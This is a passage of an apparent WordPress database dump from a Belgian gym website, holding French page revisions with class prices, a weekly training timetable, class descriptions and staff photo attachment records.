conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:58:09', '2013-06-16 13:58:09', '', 5, 'http://www.crosstrainingcenter.be/?p=224', 0, 'revision', '', 0),
(225, 1, '2013-07-03 19:05:33', '2013-07-03 19:05:33', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-3', '', '', '2013-07-03 19:05:33', '2013-07-03 19:05:33', '', 214, 'http://www.crosstrainingcenter.be/?p=225', 0, 'revision', '', 0),
(226, 1, '2013-07-03 19:06:31', '2013-07-03 19:06:31', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-4', '', '', '2013-07-03 19:06:31', '2013-07-03 19:06:31', '', 214, 'http://www.crosstrainingcenter.be/?p=226', 0, 'revision', '', 0),
(342, 2, '2013-07-03 20:45:08', '2013-07-03 20:45:08', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-9', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 214, 'http://www.crosstrainingcenter.be/214-revision-9/', 0, 'revision', '', 0),
(227, 1, '2013-07-03 19:09:04', '2013-07-03 19:09:04', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-5', '', '', '2013-07-03 19:09:04', '2013-07-03 19:09:04', '', 214, 'http://www.crosstrainingcenter.be/?p=227', 0, 'revision', '', 0),
(228, 1, '2013-07-03 19:10:20', '2013-07-03 19:10:20', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1 séance :&lt;/strong&gt; 9.00€\r\n&lt;strong&gt;1 carte de 10 séances :&lt;/strong&gt; 80.00€ (valable 3 mois)\r\n&lt;strong&gt;1 carte de 20 séances :&lt;/strong&gt; 120.00€ (valable 4 mois)\r\n&lt;strong&gt;Abonnement 1 mois illimité :&lt;/strong&gt; 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-6', '', '', '2013-07-03 19:10:20', '2013-07-03 19:10:20', '', 214, 'http://www.crosstrainingcenter.be/?p=228', 0, 'revision', '', 0),
(230, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 11, 'http://www.crosstrainingcenter.be/?p=230', 0, 'revision', '', 0),
(229, 1, '2013-07-03 19:11:24', '2013-07-03 19:11:24', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1 séance :&lt;/strong&gt; 9.00€\r\n&lt;strong&gt;1 carte de 10 séances :&lt;/strong&gt; 80.00€ (valable 3 mois)\r\n&lt;strong&gt;1 carte de 20 séances :&lt;/strong&gt; 120.00€ (valable 4 mois)\r\n&lt;strong&gt;Abonnement 1 mois illimité :&lt;/strong&gt; 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1er rendez-vous : bilan alimentaire et programme personnalisé :&lt;/strong&gt; 50.00€\r\n&lt;strong&gt;Suivi&lt;/strong&gt; 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-7', '', '', '2013-07-03 19:11:24', '2013-07-03 19:11:24', '', 214, 'http://www.crosstrainingcenter.be/?p=229', 0, 'revision', '', 0),
(231, 1, '2013-07-03 19:12:49', '2013-07-03 19:12:49', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:12:49', '2013-07-03 19:12:49', '', 11, 'http://www.crosstrainingcenter.be/?p=231', 0, 'revision', '', 0),
(233, 1, '2013-07-03 19:31:37', '2013-07-03 19:31:37', '', 'damien_pierrard-pti', '', 'inherit', 'open', 'open', '', 'damien_pierrard-pti', '', '', '2013-07-03 19:31:37', '2013-07-03 19:31:37', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(234, 1, '2013-07-03 19:31:45', '2013-07-03 19:31:45', '', 'guelor-pti', '', 'inherit', 'open', 'open', '', 'guelor-pti', '', '', '2013-07-03 19:31:45', '2013-07-03 19:31:45', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(235, 1, '2013-07-03 19:31:52', '2013-07-03 19:31:52', '', 'julie_pierrard-pti', '', 'inherit', 'open', 'open', '', 'julie_pierrard-pti', '', '', '2013-07-03 19:31:52', '2013-07-03 19:31:52', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(236, 1, '2013-07-03 19:31:58', '2013-07-03 19:31:58', '', 'julien_meulemans-pti', '', 'inherit', 'open', 'open', '', 'julien_meulemans-pti', '', '', '2013-07-03 19:31:58', '2013-07-03 19:31:58', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(237, 1, '2013-07-03 19:32:05', '2013-07-03 19:32:05', '', 'mathieu_gille-pti', '', 'inherit', 'open', 'open', '', 'mathieu_gille-pti', '', '', '2013-07-03 19:32:05', '2013-07-03 19:32:05', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(238, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie 